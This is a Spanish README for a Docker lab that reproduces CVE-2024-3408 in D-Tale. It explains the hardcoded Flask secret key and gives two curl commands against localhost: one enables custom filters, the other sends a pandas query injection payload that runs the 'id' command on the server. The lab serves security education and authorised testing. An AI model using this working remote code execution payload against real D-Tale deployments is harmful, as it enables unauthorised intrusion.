CVE-2024-3408 - Omisión de autenticación y RCE en D-Tale

Entorno de laboratorio reproducible para CVE-2024-3408, una vulnerabilidad de omisión de autenticación y ejecución remota de código en D-Tale.

Vulnerabilidad

Las versiones de D-Tale hasta la 3.15.1 son vulnerables debido a:

1. SECRET_KEY hardcodeado ("Dtale") para el firmado de sesiones Flask - permite la falsificación de cookies de sesión
2. Ejecución de código mediante filtros personalizados - el endpoint test-filter utiliza pandas query que puede ser abusado para ejecutar código Python arbitrario

CVSS: 9.8 (Crítico)
Afectadas: D-Tale <= 3.15.1

Inicio rápido

docker compose up -d --build

D-Tale estará disponible en http://localhost:40000

Validar

# Paso 1: Habilitar filtros personalizados
curl -s "http://localhost:40000/dtale/update-settings/1?settings=%7B%22enable_custom_filters%22%3Atrue%7D"
# Esperado: {"success":true}

# Paso 2: Ejecutar comando mediante inyección de consulta pandas
curl -s -G "http://localhost:40000/dtale/test-filter/1" \
  --data-urlencode "[email protected].__import__('os').popen('id').read()"
# Esperado: La respuesta contiene "uid=" y "gid=" (salida del comando en el mensaje de error)

Limpieza

docker compose down

Referencias

• Informe de Huntr (CVE-2024-3408)
• Informe de Huntr (CVE-2025-0655)
• NVD
• D-Tale GitHub

Descargo de responsabilidad

Este laboratorio es solo con fines educativos y de pruebas de seguridad autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso de prueba.